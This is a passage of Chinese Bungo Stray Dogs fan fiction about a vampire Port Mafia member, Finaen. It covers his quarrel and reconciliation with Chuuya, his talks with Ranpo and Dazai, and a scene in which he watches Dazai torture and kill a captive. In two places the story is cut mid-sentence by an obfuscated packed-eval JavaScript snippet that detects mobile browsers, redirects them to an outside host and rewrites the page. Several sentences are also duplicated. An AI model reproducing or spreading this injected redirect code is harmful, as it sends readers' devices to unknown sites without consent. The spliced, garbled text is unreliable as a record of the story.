中也跟阿卓也是第一天认识吧,明明他跟他才是朋友…… 他不明白…… 那怒火瞬间消失得无影无踪,取而代之的,是一种更加陌生、更加汹涌的情绪——铺天盖地的委屈和难过。 为什么骂他…… 为什么中也要用这种眼神看他?好像他做了什么十恶不赦的事情…… 他们……不是朋友吗? 朋友……朋友…… 鼻子无法控制地发酸,眼眶发热,一种强烈的想要流泪的冲动涌了上来。 他死死咬着牙,强忍着那陌生的生理反应,下颌线绷得紧紧的。 他不能理解自己这是怎么了,只觉得心脏像是被一只无形的手紧紧攥住,又酸又胀,难受得快要喘不过气。 他猛地挥开中也的手,力气大得让中也踉跄了一下。 菲那恩最终从始至终一个字也没说出口,甚至不敢再看中也那双盛满怒火和失望的眼睛,转身就走,脚步快得几乎像是在逃离。 他走在渐渐平息下来的街道上,天色渐晚,他不再到烦躁,只剩下心里空落落的冰凉和那股挥之不去的委屈。 搞什么啊…… 他只是……没有做多余的事…… 为什么……会觉得这么难受? 他从今天开始,就只有太宰一个朋友了……吧? 他漫无目的地走着,脑子里乱糟糟地回放着刚才的一幕,中也愤怒的脸庞和那句“同伴”反复出现。 不知不觉,他走到了热闹的中华街。 食物的香气和人声鼎沸似乎都隔着一层膜,无法传入他混乱的内心。 “哎呀!” 一声轻呼让他回过神。 他不小心撞到了一个人,对方怀里抱着的一袋粗点心差点掉在地上。 菲那恩抬起头,看到一个戴着侦探帽、穿着英伦风侦探服的青年,嘴里还叼着一根棒棒糖。 菲那恩迟疑了一下,干巴巴地说:“呃……对不起。” 江户川乱步扶了扶帽子,碧绿的眼睛在菲那恩身上扫了一圈,几乎是瞬间就“看”明白了——港口Mafia的成员,但身份远不止如此简单。 刚经历了激烈的内心冲突,似乎被很重要的人训斥了,正处于一种迷茫又委屈的状态。 虽然长相有种说不出的违和感,但核心情绪可瞒不过名侦探的眼睛哦。 “唔,没关系哦!”乱步爽快地原谅了他,反而凑近了一点,像是发现了什么有趣的谜题,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456620|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你看上去很困扰呢?需要名侦探帮你推理一下吗?价格优惠哦!” 或许是乱步身上那种莫名的洞察力,也或许是菲那恩此刻真的太需要一个人来帮他理清这团乱麻。 他鬼使神差地没有拒绝。 江户川乱步自顾自地打开点心袋,拿出一个新的棒棒糖拆开叼上,然后递了一块印着小星星图案的饼干给菲那恩:“喏,星星饼干,虽然是你撞的我,但名侦探大人有大量~” 菲那恩迟疑地看着那块饼干,没有接。 “放心啦,没下毒。”乱步撇撇嘴,“而且,看你这样子,也不是会怕普通毒药的类型吧?” 菲那恩沉默了一下,最终还是接过了那块饼干。 乱步满意地眯起眼睛,像只被顺毛的猫。 乱步一边咔嚓咔嚓地吃着粗点心,一边像是闲聊般,却一下子戳中菲那恩的心事,“他不是故意要骂你,只是……嗯,脑子一热,话说重了而已。” “你……你怎么知道?!”菲那恩眼中满是震惊。 “因为我是名侦探啊!”乱步挺起胸膛,语气骄傲又理所当然,仿佛这是世界上最简单的道理。 他看着菲那恩依旧震惊和戒备的脸,眨了眨碧绿的眼睛,忽然问道:“喂,你,不是纯粹的人类吧?” 菲那恩身体微微一僵,赤瞳收缩,下意识地就要进入备战姿态。 “放松放松~”乱步摆了摆手,一副“这没什么大不了”的样子,“名侦探对种族没什么偏见哦!” 菲那恩捏着饼干,摇了摇头,“我感觉你是好人……” “名侦探当然是好人!”乱步一边吃饼干,一边说:“而且是世界第一的好侦探!专门解决难题和抓住坏蛋的!” 他碧绿的眼睛眨了眨,看着菲那恩,忽然凑近了一点,压低声音,带着点分享秘密般的狡黠:“不过,‘好人’和‘坏人’这种东西,有时候也不是那么绝对啦,就像粗点心,有的甜甜的,有的咸咸的,还有的又甜又咸,很难说哪种最好吃,对吧?” 这个奇怪的比喻让菲那恩愣了一下,眼里写满了“你在说什么”的茫然。 “嘛,扯远啦。”江户川乱步站直身体,眼睛又眯了起来,“话说回来,‘朋友’这种东西啊,本来就是会互相添麻烦,又会互相帮忙的存在哦。” “你下意识地觉得规则更重要,但他觉得‘人’本身更重要,这没有绝对的对错啦,只是……嗯,立场不同?” 菲那恩精准地捕捉到了四个字。 立场不同……? “可是,我们是同阵营的啊……”菲那恩说着,尖耳朵不由自主地耷拉了下来,虽然乱步看不见。 不过菲那恩听了乱步的话后,越发觉得自己错了,明明他已经加入港口mafia,就已经是港口mafia的一员,那就算不熟悉的人类,也绝对能称得上是同伴…… “既然心里有想法了,就放心去做哦,”江户川乱步就像是察觉到菲那恩此刻的情绪一样,“唔……貌似有一个人肯定能精准地安抚住你现在的情绪,去找他吧。” 乱步的话语仿佛在迷雾中点亮了几盏小灯,菲那恩的心情瞬间开朗了不少。 他甚至难得地没有反感,任由乱步加上了联系方式。 菲那恩看着手机里新存的联系人,备注为“世界第一的名侦探乱步大人”。 “乱步……”他无意识地念出这个名字。 “没错!我就是名侦探,江户川乱步。”青年的声音里带着明朗的笑。 菲那恩微微颔首,声音清晰,“我是菲那恩·德·图拉尔。” “很好!以后有什么想不明白的,随时欢迎来找名侦探推理!”他话音一转,一本正经道:“不过下次开始,可是要收费的喔。” 菲那恩点了点头,郑重应道:“我会的。” “那就这样啦!名侦探还要去补充零食库存!”乱步挥挥手,转身蹦蹦跳跳地融入人群,很快就消失在了中华街熙攘的人流中。 菲那恩站在原地,看了看手里的饼干,小心地咬了一口。 很甜,很好吃。 他收起手机,将剩下的饼干吃完,转身朝着公寓的方向走去。 脚步虽然依旧不快,但不再慌乱。 他现在很想回去见太宰,很想很想。 33.开导 回到公寓时,天色已晚。 一开门,就听到最新款游戏的激烈音效。 太宰治显然已经彻底摆脱了感冒的debuff,生龙活虎地盘腿坐在客厅地毯上,对着屏幕按手柄按得噼啪作响,身边还散落着几个空了的蟹肉罐头。 “哟,回来啦?”太宰治头也没回,语调拉长,“跟着蛞蝓干活的感觉如何?是不是特别有‘活力’?” 菲那恩站在玄关,看着太宰治那显得有些单薄却异常熟悉的背影,在游戏光怪陆离的光影下,莫名地感到一阵鼻酸。 ……所有情绪混杂在一起,在回到这个唯一能称之为“归处”的地方时,再也压抑不住。 强压了一路的委屈和迷茫,在见到这个人的瞬间,如同找到了泄洪口,猛地决堤而出。 他走到太宰治身边,坐下,抱着膝盖,把脸埋了进去,声音闷闷的,带着自己都没察觉的哽咽:“太宰……” 游戏音效还在响,但太宰治操作手柄的动作明显慢了一拍。屏幕上他操控的角色一个失误,被敌人击中了,血条骤降。 “嗯?”太宰治应了一声,这次语气里的调侃淡去了些,“怎么了?真被那只没脑子的蛞蝓欺负了?” 他暂时放下了手柄,任由角色在屏幕里挨打,微微侧过身来看向身边团成一团的粉色脑袋。 “……他骂我,”菲那恩的声音更闷了,带着浓浓的鼻音,“因为……我没有救同行的成员……他说……那是同伴……说我没有心……” 他断断续续、语无伦次地把下午的事情说了出来,包括自己当时的想法和后来的难受。 他甚至提到了乱步,说了乱步那些奇怪却让他好受不少的话。 他本以为会听到太宰治嘲讽中也的“多管闲事”或者调侃他的“玻璃心”。 然而,太宰治只是沉默地听着。 他没有打断,也没有发表任何评论,只是安静地听着菲那恩有些混乱的倾诉。 屏幕的光在他鸢色的眼眸里明明灭灭,看不清具体情绪。 直到菲那恩说完,空气里只剩下游戏背景音乐的声音时,太宰治才轻轻地、几乎微不可闻地叹了口气。 一只微凉的手,带着熟悉的、令人安心的绷带触感,轻轻地落在了菲那恩的粉色脑袋上,非常非常轻地拍了拍。 “中也那个笨蛋,总是这样热血上头。”太宰治的声音出乎意料的平静,太宰治的声音出乎意料的平静,甚至带着一丝罕见的、近乎温柔的无奈,“不过,‘同伴’啊……确实是他会看重的东西。” 他顿了顿,似乎在组织语言,这对于思维敏捷的他来说有些少见。 “但是,菲那恩,”他的声音低沉下来,带着一种能让人安心下来的魔力,“你觉得‘正确’的事情,在某些人眼里,或许是‘错误’的。反之亦然。这个世界不是非黑即白的……至少,对人类来说不是。” 他的指尖非常轻柔地碰了碰菲那恩露在外面的、微微发红的耳尖,微凉的触感让菲那恩轻轻颤了一下,“港口Mafia,或者说中也所认同的那个‘世界’,有时候会运行另一套看似更麻烦、更低效,但……或许更能凝聚‘人类’的规则。 “他骂你,不是因为你本质错误,而是因为你们暂时……还没站在同一套规则下看待问题。” “而且,我自认为还是了解中也的,他估计现在已经后悔对你说了那么重的话,正想办法怎么找你道歉呢。” 这算不上多么温暖的安慰,甚至有些抽象。 但来自于太宰治,这种近乎“理解”和“解释”的平和态度,没有否定他的认知,也没有一味偏袒中也,而是试图帮他理清这团乱麻——这比任何单纯的哄劝都更能戳中菲那恩此刻的需求。 “至于‘心’……”太宰治的声音里染上一丝极淡的、几乎难以捕捉的柔和,“会因为别人的话而难过,会感到委屈,会跑来跟我哭诉……这不就是‘心’在运作的最好证明吗?” “真正没有心的家伙,”他轻笑了一下,带着点安慰的意味,“可是连疼痛和委屈都感觉不到的。” 但来自太宰治,这种近乎“理解”的平和态度,却像最后一根稻草,压垮了菲那恩强撑的堤防。 这句话如同最后一根稻草,压垮了菲那恩强撑了一路的堤防。 覆盖在他发顶的手,那轻柔的拍抚,那平静的话语……这一切都太过于温柔,太过于……让他想要依赖。 埋着的脑袋下,传来极力压抑的、细微的抽气声,肩膀开始微微颤抖。 太宰治没有再说话,也没有收回手,只是任由那只手停留在菲那恩的头上。 然后,细碎的、压抑不住的呜咽声终于从那个蜷缩的身影里漏了出来。 菲那恩终于彻底哭了出来。 滚烫的眼泪汹涌而出,迅速浸湿了他膝头的衣料。 他开始只是小声地啜泣,后来渐渐变成了无法抑制的放声哭泣,仿佛要将这几百年来所有的委屈、迷茫、害怕,全都通过泪水冲刷出来。 他哭得像个迷路了很久终于找到家的孩子,肩膀剧烈地颤抖着,甚至不自觉地向着太宰治的方向微微靠拢,寻求着那份难得的安心感。 这灼热的、咸涩的液体,是菲那恩身为“人”的证明,是那层冰壳碎裂后,底下那颗重新开始感受到疼痛和温暖的、属于人类的心的哭泣。 太宰治静静地坐着,看着那颗毛茸茸的、粉色的脑袋在自己手下颤抖,听着那压抑已久的哭声在公寓里回荡。 游戏屏幕上的角色早已 Game Over,幽暗的光线映照着他轮廓分明的侧脸。 鸢色的眼眸在光影下显得格外幽深,里面翻涌着复杂的情绪——有一丝了然,一丝或许连他自己都未曾察觉的心软。 不知过了多久,菲那恩的哭声渐渐平息,只剩下偶尔的抽噎。 他依旧把脸埋在膝盖里,仿佛这样就能隔绝刚才那场突如其来的情绪风暴带来的羞赧。 太宰治的手还停留在他发顶,有一下没一下地轻轻抚摸着,像是在安抚一只受惊的小动物,“我怎么以前没发现,菲那恩原来这么爱哭鼻子啊。” 菲那恩的声音闷闷的,“我一个人的时候是从来不哭的,可是……大家对我都好好……有种家的感觉……” 家——才是唯一能哭的地方。 太宰闻言一怔,抚摸着菲那恩脑袋的手有一瞬间的停滞,随即又若无其事地恢复正常。 之后的公寓里很安静,只有游戏结束画面单调的背景音在低声回响。 过了好一会儿,菲那恩才慢慢抬起头。 眼眶和鼻尖都哭得红红的,长长的睫毛上还挂着细小的泪珠,赤红的眼眸像是被水洗过一样,湿漉漉的,带着一种劫后余生般的懵懂。 他看起来有点狼狈,却又透着一种不设防的柔软。 他微微侧过头,看向太宰治。 太宰治也正看着他,鸢色的眼眸在屏幕微弱的光线下显得很深,里面的情绪复杂难辨,只剩下一种平静的、近乎专注的凝视。 “……谢谢你。”菲那恩的声音还带着浓重的鼻音,有些沙哑。 他顿了顿,似乎在努力组织语言,赤红的眼睛里闪烁着一种笨拙的真诚,“谢谢太宰……跟我说这些。” 然后,像是下定了某种决心,又像是被某种刚刚学到的“人类表达强烈正面情绪”的规则所驱动——他想起了那部令他印象深刻的推理电影结尾时,那个女孩对侦探表达的感谢和喜爱。 菲那恩抿了抿唇,忽然撑起身子,朝着太宰治的方向倾身过去。 他的动作并不快,甚至带着点迟疑和生涩,但目标明确。 太宰治似乎预感到了什么,鸢色的眼眸微微睁大,里面飞快地掠过 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但他恢复得极快。 几乎是下一秒,一种更加浓郁、更加令人捉摸不透的笑重新漫上他的眼角眉梢。 那不是开心的笑,而是一种带着一丝探究的笑。 “哎呀呀……”他拖长了语调,声音比平时更加黏腻,带着一种戏剧般的夸张,“这可真是……令人惊讶的‘感谢’方式呢。” 他微微向前倾身,拉近了两人之间的距离。 鸢色的眼眸紧锁着菲那恩那双因为无措而闪烁的红眸,像是要将他的灵魂都看透。 “菲那恩,”他的指尖轻轻点着自己的脸颊,那里刚刚被亲吻过的地方仿佛还残留着微弱的触感,“你确定……你知道‘喜欢’这个词,和这种……行为,通常意味着什么吗?” 他的语气带着一种循循善诱的陷阱感,仿佛在引导一个孩子交出最珍贵的糖果。 “还是说……”太宰治的声音压得更低,带着一丝若有似无的蛊惑,“这只是你从哪部无聊电影里学来的、觉得新奇所以模仿的行为?” 他没有做出任何拥抱或者更亲密的举动,只是用目光和语言织成一张无形的网,将眼前这只主动踏入领域的小吸血鬼牢牢罩住。 他的姿态甚至看起来依旧有些懒散,但那双鸢色的眼睛却锐利得惊人,不错过菲那恩脸上任何一丝细微的表情变化。 他在观察,在分析,在享受这份突如其来、完全偏离他预料的有趣结果,同时也将选择权和定义的难题,轻巧地抛回给了菲那恩。 菲那恩被他问得更加茫然了,赤红的眼睛里充满了困惑:“……意味着什么?电影里……那个女孩就是这样对帮助了她的侦探表达感谢和喜爱的……” 他显然没能理解太宰治话语里深藏的陷阱和暧昧的暗示。 太宰治低低地笑了起来,笑声里带着一种了然,却又奇异地混合着更浓厚的兴趣。 “果然如此。”他像是得到了预期的答案,身体向后回到原来的位置,重新拿起那个被冷落的手柄,语气恢复了平时的懒散,仿佛刚才那一刻的紧绷和探究从未发生。 “算了。”他耸耸肩,将另一个手柄塞进菲那恩手里,“那种复杂的‘人类规则’以后再说吧。” 他只是用语言和态度,在两人之间划下了一条更加清晰却似乎又更加暧昧的界线。 他接受了这份“感谢”,却用他特有的方式,将其定义和解读的主动权,牢牢抓在了自己手里。 菲那恩看着太宰治的侧脸,隐约觉得好像哪里不太对劲,却又说不出了所以然来。 太宰治继续专注地看着游戏屏幕,嘴角噙着一抹极深的弧度,鸢色眼眸里却看不出什么情绪来。 仿佛刚刚什么都没有发生。 34.和好 隔天下午,训练场。 菲那恩独自站在场地边缘,指尖无意识地摩挲着和服袖口。 他昨晚几乎没睡,满脑子都是太宰那些似是而非的话,以及自己对“喜欢”和“感谢”可能造成的误解。 但有一件事是确定的:他需要去找中原中也。 就在他踌躇着是该发邮件还是直接去办公室堵人时,训练场的门被猛地推开。 中原中也站在门口,标志性的帽子压得略低,似乎没预料到会在这里遇见菲那恩。他明显顿了一下,钴蓝色的眼睛飞快地扫过菲那恩的脸,随即不太自然地别开视线。 “咳。”中也率先打破沉默,手指无意识地调整着手套,“你在这儿啊。” 菲那恩的尖耳几不可察地抖了抖。 “嗯……”他应了一声,目光落在地面上,“我来……练习枪法。” 一阵尴尬的沉默在两人之间蔓延。 “那个——”两人同时开口,又同时顿住。 中也抓了抓头发,似乎下定了决心:“昨天的事……” “我很抱歉!”菲那恩抢在他前面,赤红的眼睛里带着罕见的紧张,“我当时…没能理解‘同伴’的意义,让你生气了……对不起……” 中也愣了片刻,显然没料到会得到这样直接的道歉。 他钴蓝色的眼睛微微睁大,随后有些不自在地压了压帽檐。 “不,我也有错。”他声音低了几分,“我的话太重了,你不是没有……那个什么……只是我习惯了那样,我本该…更耐心一点。总之……抱歉。” “不不不,我其实觉得中也说的很有道理……”菲那恩没想到还能得到对方的道歉,双手挥了挥。 “菲那恩,”中也突然表情认真起来,钴蓝色的眼眸看着菲那恩,语气变得严肃,“听着,在港口Mafia,尤其是我带队的时候,我希望至少能做到一点——不抛弃任何一个还有救的同伴。” 他指了指菲那恩的心口:“这不是什么弱肉强食的法则,这是一种……责任,你明白吗?” 责任吗…… 菲那恩似懂非懂,点了点头:“……我会记住的。” 中也看着他依旧有些迷茫但努力想理解的眼神,忽然伸出手,用力揉了揉菲那恩的粉色脑袋,动作粗鲁,却带着一种认可。 “行了,这事就过去了。”中也咧开一个爽快的笑容,仿佛之前的芥蒂从未存在,“下次任务该动手时就动手,首先要保护好你自己,其次尽量保护好身边的人,听见没?” 赤红的眼眸微微亮起,他用力点了点头:“嗯!” 误会解除。 (手机屏幕界面) 【世界第一的名侦探乱步大人】:菲那恩君~粗点心库存告急!名侦探需要补充能量!你推荐的那家中华街兔子馒头很好吃!还有,上次那个“朋友”的难题解决了吗?(`??)Ψ 【菲那恩】:太好了,乱步也喜欢兔子馒头,这是太宰之前顺手买给我吃的,超级好吃!解决了……已经和中也和好了哦。 【世界第一的名侦探乱步大人】:哦?这么快?怎么和好的?快告诉名侦探!是不是用了名侦探教的绝妙方法? 菲那恩简略地将和好的过程跟江户川乱步讲了一遍。 【世界第一的名侦探乱步大人】:解决了就好!恭喜你啦,成功修复友情!所以,为了庆祝,能帮名侦探带三盒,不,五盒兔子馒头过来吗?侦探社报销! 【菲那恩】:……现在? 【世界第一的名侦探乱步大人】:当然是现在!名侦探的推理能量不足了!急需糖分补充!拜托啦~菲那恩最好啦! 【菲那恩】:……哦,好吧。等我一会儿。 【世界第一的名侦探乱步大人】:好耶!记得要豆沙馅的!快点哦! (屏幕暗下) 菲那恩收起手机,看了看窗外。 虽然有点麻烦,但……感觉并不坏。 自从加上好友后的这几天,他们一直都有保持通讯联系,关系也越来越好了。 他起身,决定去一趟中华街,给那个帮自己解决了烦恼的、有点吵闹但意外靠谱的新朋友,带五盒兔子馒头。 然而,菲那恩也不知道自己为什么要骗太宰说自己困得厉害,要马上回公寓休息,实际上是去给乱步送兔子馒头了。 或许是因为听乱步说港口mafia和武装侦探社关系不好吧……? 菲那恩裹了一件不起眼的深色外套,帽檐压得很低,遮住了他标志性的粉色长发和过于苍白的肤色。 送完兔子馒头后,他便准备回公寓。 不过他知道太宰今晚有任务,回去会很晚,所以放心地四处闲逛,打算一路逛回公寓。 不知不觉,他拐进了一条偏僻的仓库区。 空气骤然变得紧绷,带着未散尽的硝烟味和一种……浓得化不开的血腥气。 菲那恩的尖耳在帽檐下敏感地动了动,捕捉到了远处传来的、刻意压低的呵斥和某种沉闷的、令人牙酸的撞击声。 好奇心,或者说一种不祥的预感,驱使着他悄无声息地靠近。 他像一片影子,滑进一堆废弃集装箱的缝隙里,屏住了呼吸。 眼前的景象让他瞳孔微缩。 昏黄的路灯下,几个身着黑西装、港口Mafia标志性打扮的成员像冰冷的雕塑般矗立着,形成一个包围圈。 圈子中央,一个男人像破布娃娃一样瘫在地上,满脸是血,身体不自然地扭曲着,发出断断续续的、如同漏风风箱般的呻吟。 而在这片压抑的中心,站着太宰治。 一个黑西装上前汇报了什么。 太宰治微微侧头听着,然后,他动了。 动作并不快,甚至可以说得上优雅。 他慢慢蹲下身,戴着黑色皮质手套的手指,精准地、缓慢地捏住了地上那人唯一还能动弹的手指。 “忘了告诉你,佐藤健一已经把所有的情报都说出来了哦,”太宰治的声音不高,甚至算得上温和,但在这死寂的夜里,却比寒风更刺骨,“你最后的机会,告诉我,幕后之人是谁?” 地上的男人发出一声模糊的哀嚎,似乎在求饶。 太宰治的嘴角似乎极轻微地向上扯了一下,那弧度冰冷得没有一丝温度。 然后,菲那恩听到了清晰的、令人牙酸的“咔嚓”声。 不是一声,是缓慢的、有节奏的、连续不断的碎裂声,伴随着男人骤然拔高又戛然而止的、如同被掐断脖子的鸡鸣般的惨叫。 太宰治的手很稳,动作带着一种近乎艺术的残酷。 他像是在处理一件无关紧要的物品,耐心地、一根接一根地掰断对方的手指骨节。 没有愤怒,没有兴奋,只有一种令人毛骨悚然的平静。 男人似乎终于颤抖着说了什么,太宰治得到了满意地答案,站起身,微微侧头向着身后一个黑西装,“跟我推测的一样嘛,去查一下他说的。” 菲那恩藏在集装箱的阴影里,血红的眼睛一眨不眨地看着面前发生的一切。 尚未完全断气的男人挣扎着,喉咙里发出破风箱般的嗬嗬声,试图爬离这片地狱。 太宰治甚至没有侧目,只是随意地、精准地抬脚,如同踩碎一颗熟透的浆果般,狠狠碾踏在那人的喉骨上,动作带着一种令人胆寒的、漫不经心的残酷。 一声令人牙酸的脆响在死寂中格外刺耳,伴随着最后一丝微弱的呜咽彻底消失,他甚至没有多看一眼脚下彻底失去生机的躯体。 整个过程,没有一丝多余的动作,更没有一丝情绪的波澜。 令人窒息的暴力。 太宰治身后,数名身着黑西装、气息同样冰冷的港口Mafia成员如同沉默的雕像,只负责封锁现场和处理后续,对眼前的景象视若无睹,仿佛早已司空见惯。 菲那恩心里除了惊讶外,并无过多感觉——吸血鬼的本能里,对这种场景并无畏惧。 心脏在胸腔里却开始莫名地加速跳动,令他心跳失序的是这种纯粹的、冰冷的、视生命如草芥的姿态,与那个缠着绷带、热衷自杀、偶尔流露出温柔的形象形成的巨大鸿沟。 那种黑暗,是那么危险……又迷人。 就在这时,太宰治毫无征兆地缓缓地、极其随意地抬起了头。 那双深渊般的鸢色眼眸,漫不经心地扫过菲那恩藏身的集装箱区域,视线没有明确的焦点,却仿佛带着穿透一切阴影的实质力量。 菲那恩感到背脊发凉,他已经隐匿了气息,但他忘了,仅仅是视线,就足以让太宰治注意到他。 太宰治的目光在那个方向停留了漫长的、令人窒息的三秒。 然后,漠然地移开了,仿佛只是确认了一片无关紧要的阴影。 太宰治慢条斯理地摘下手套,随意丢弃在血泊中,像丢掉一件垃圾。 他拿出手机,声音恢复了惯常的、带着点倦怠的语调,与刚才判若两人:“这边处理完了,清理组。” 说完,他转身,带着那群沉默的黑影,消失在巷子另一端的黑暗里,只留下浓重的血腥和死亡的气息。 直到那令人窒息的气息彻底消散,菲那恩才松了一口气。 他靠在冰冷的墙壁上,血红的眼眸深处翻涌着复杂难辨的情绪,刚才那几秒的“凝视”,比任何直接的威胁都更让他感到一种被看穿的紧张。 不过,看样子他应该没被发现,他现在可还在公寓“睡觉”呢。 菲那恩继续漫无目的地走在横滨的街道上,那几秒被锁定的紧张感在脑中交织。 夜色渐深,路灯将他影子拉得很长。 路过一家已经打烊、橱窗灯光昏暗的首饰店时,旁边的员工小门“吱呀”一声开了。 一个穿着制服、扎着马尾辫的女高中生走了出来,一边哼着歌一边利落地锁上门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468715|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身上带着些许金属抛光剂和清洁用品的淡淡气味。 女孩一转身,差点撞上正默默走过的菲那恩。 她吓了一跳,但随即露出灿烂的笑容,活力十足地道歉:“哇!抱歉抱歉!没注意到有人!晚上好呀!” 菲那恩下意识地拉低了兜帽,含糊地应了一声:“……晚上好。” 脚步未停。 “诶——等等!”女孩却一点不怕生,小跑两步跟了上来,与他并排走着,好奇地歪头看他,“这么晚还在散步吗?你的头发颜色好特别哦,粉色的!是天生的吧?在帽子下面露出来了一点!超好看的!” 菲那恩被对方整得有些不自在,加快了脚步,“……” 呃……人类都这么自来熟吗,上一个自来熟的人类还是太宰治……啊不,是乱步。 女孩的家似乎就在附近,她也不在意他的冷淡,自顾自地说着:“我刚兼职下班啦!就在这家店!每天都要擦亮那些银饰,累死啦——啊!” 她的目光无意中下垂,忽然停在了菲那恩行走时、从和服下偶尔露出的那一截银色脚环上。 “哇!这个!”女孩的眼睛一下子亮了起来,显得非常兴奋,几乎要跳起来,“这个银环!跟我们店里的一款好像啊!超级像的!先生你也喜欢我们店的款式吗?” 菲那恩脚步一顿,低头看了一眼自己脚踝上的没什么存在感的装饰,赤红的眼眸里闪过一丝不易察觉的波动。 他摇了摇头,终于开口说了第一句话:“不……这是,重要的人和上司送的入职礼物。” “诶——原来是礼物啊!真好!”女孩的笑容更加灿烂了,带着纯粹的羡慕,“关系一定非常非常好吧!可以让我看看吗?就一下下!我保证我是专业的哦,天天跟它们打交道!” 她的好奇心完全被勾起来了,甚至没等菲那恩明确同意,就蹲下了身,凑近去看。 菲那恩僵在了原地,对这个人类女孩过于直接和热情的行为感到有些无措。 拒绝的话还没说出口,女孩冰凉的指尖已经小心翼翼地触碰到了银环的表面。 “真的超级像的啦……做工也好精细……”女孩小声赞叹着,指尖无意识地摩挲着内壁。 忽然,她的动作停住了,脸上的表情从兴奋变成了些许困惑。 “嗯……?”她发出一个疑惑的音节,手指更加仔细地在内壁某处摸索了几下,似乎在确认什么。 紧接着,她像是意识到自己的行为可能越界了,猛地站起身,脸上飞起两抹不好意思的红晕,双手合十赶紧道歉:“啊!对不起对不起!我太冒失了!居然直接上手摸了!非常抱歉!” 她打着哈哈,试图化解尴尬:“那个……我、我大概是看错了啦!我们店里的那一款,里面好像……好像没有刻那种细小的字母,或许也可能是编码?摸起来感觉不太一样……或许更高档的饰品就是会有编码的吧。” “哈哈,我果然是兼职的,学艺不精,好多细节都没记全呢!打扰您了!” 女孩说完,再次歉意地鞠了一躬,然后像是有点害羞又有点慌乱似的,快步朝着旁边的居民巷子跑去:“我、我家就在这边!先生再见!晚上散步注意安全哦!” 菲那恩站在原地,看着女孩的身影消失在巷口,方才被她指尖触碰过的脚踝皮肤,似乎还残留着一丝微凉的触感。 刻字? 编码? 他之前……完全没有注意到。 他低头,手指不由自主地抚上那光滑的银环内壁,仔细地摸索着。 果然,在某个极其隐蔽的角落,指尖触碰到了极其细微的凹陷。 嗯……很奇怪,完全没有之前那样的轻微能量波动…… 之前的……是错觉吧? 应该是错觉吧,这可是重要的入职礼物。 菲那恩的性格其实是冷漠的,对世界上大部分事情都不关心,除了太宰,以及在他内心所规划的某个范围内的人们。 他分得太清楚了,对于在这个界限外的人和事,经常会忘了做出合理的反应,以至于会无动于衷。 因此,这个银环在他心中那个界限的意义,就是重要的入职礼物,仅此而已,而其他的都是无意义的概念,他完全意识不到。 是的,意识不到。 但这种认知都来源于一种下意识的自信——他总有办法能够解决麻烦。 菲那恩甩开这点微不足道的插曲,将注意力投向眼前那家散发着暖黄灯光、门面狭小的酒吧——Lupin。 门牌上的字迹有些褪色,却透着一股旧时光的宁静。 讲个笑话,菲那恩活了这么久,其实从没喝过酒。 毕竟血族的食物只有鲜血,酒这种东西只有伪装在人类族群的血族才会去尝试。 菲那恩突然也想去尝试一下酒,犹豫了一秒便推开了那扇沉重的木门,门上的铜铃发出了清脆悠长的响声。 35.被抓包 酒吧内部空间不大,弥漫着淡淡的雪茄烟味、威士忌的醇香和一种沉静的、被时光打磨过的氛围。 吧台后,一位面容和蔼的老酒保抬起头,看到菲那恩那张精致得过分的脸庞,以及那身过于干净的和服,老酒保温和地笑了笑,带着显而易见的善意:“晚上好,小先生。抱歉,我们这里不接待未成年人,来杯果汁怎么样?” 菲那恩愣了一下,才想起自己看起来确实像个少年。 他有些尴尬地摘下帽子,粉色长发滑落肩头,却更显得年纪小。 “……果汁,谢谢。”他闷闷地说,在吧台最角落的位置坐下。 一杯橙汁放在他面前。 他小口啜饮着,酸甜的味道在舌尖蔓延。 就在这时,门铃轻响,一个穿着沙色风衣、红色头发有些凌乱的男人走了进来。 他径直走到吧台,在菲那恩旁边隔了一个座位坐下,声音平静地对酒保说:“老样子,谢谢。” 几乎在对方坐下的瞬间,菲那恩就再次捕捉到了——那股极其微弱的熟悉气息。 红发…… 菲那恩想起自己在审讯室外走廊随意瞥到的人,确认了就是他。 想着想着,菲那恩的目光下意识地落在了织田作之助身上,带着一丝明显的探究。 织田作之助几乎是立刻就察觉到了这道目光。 他侧过头,那双总是带着点倦怠和平静的蓝色眼睛看向菲那恩,没有警惕,没有探究,只有一种近乎包容的温和,像是看着一只误入人类领地的小动物。 “晚上好,”他主动开口,声音低沉平稳,像在陈述一个事实,“很少在这里见到新面孔,尤其是……像你这样的。” 他的目光没有恶意,甚至还带着点对未成年人的关心,“迷路了?还是……离家出走的小少爷?” 他的语气平淡,仿佛在问“今天天气如何”。 “……”菲那恩一时不知如何回答,摇了摇头后又点了点头,竟显得有些许笨拙。 织田作之助也不在意,接过酒保递来的威士忌加冰,抿了一口,冰块发出轻微的碰撞声。 他看着杯中琥珀色的液体,像是自言自语,又像是在对菲那恩说:“横滨的夜晚,可不太平,有时候很吵,枪声、爆炸声……有时候又像现在这样安静,死亡总是很突然,无论计划得多周密。” 菲那恩过了好一会儿才回道:“……人命本就很脆弱。” “是吗?”织田作接过威士忌,加冰,轻轻晃了晃,突然转移话题道:“看起来,你需要有人送你回去。” 菲那恩一脸困惑,简言意骸道:“不用,我其实已经成年了。”而且已经成年好多年了。 织田作之助明显不太相信,抿了一口酒,目光看向前方,似乎只是随口闲聊,“像你这个年纪的孩子会想尝试酒也正常……” 他想起了太宰治。 菲那恩刚想开口再争论自己的年龄的时候,血族的超常感知猛地拉响了警报。 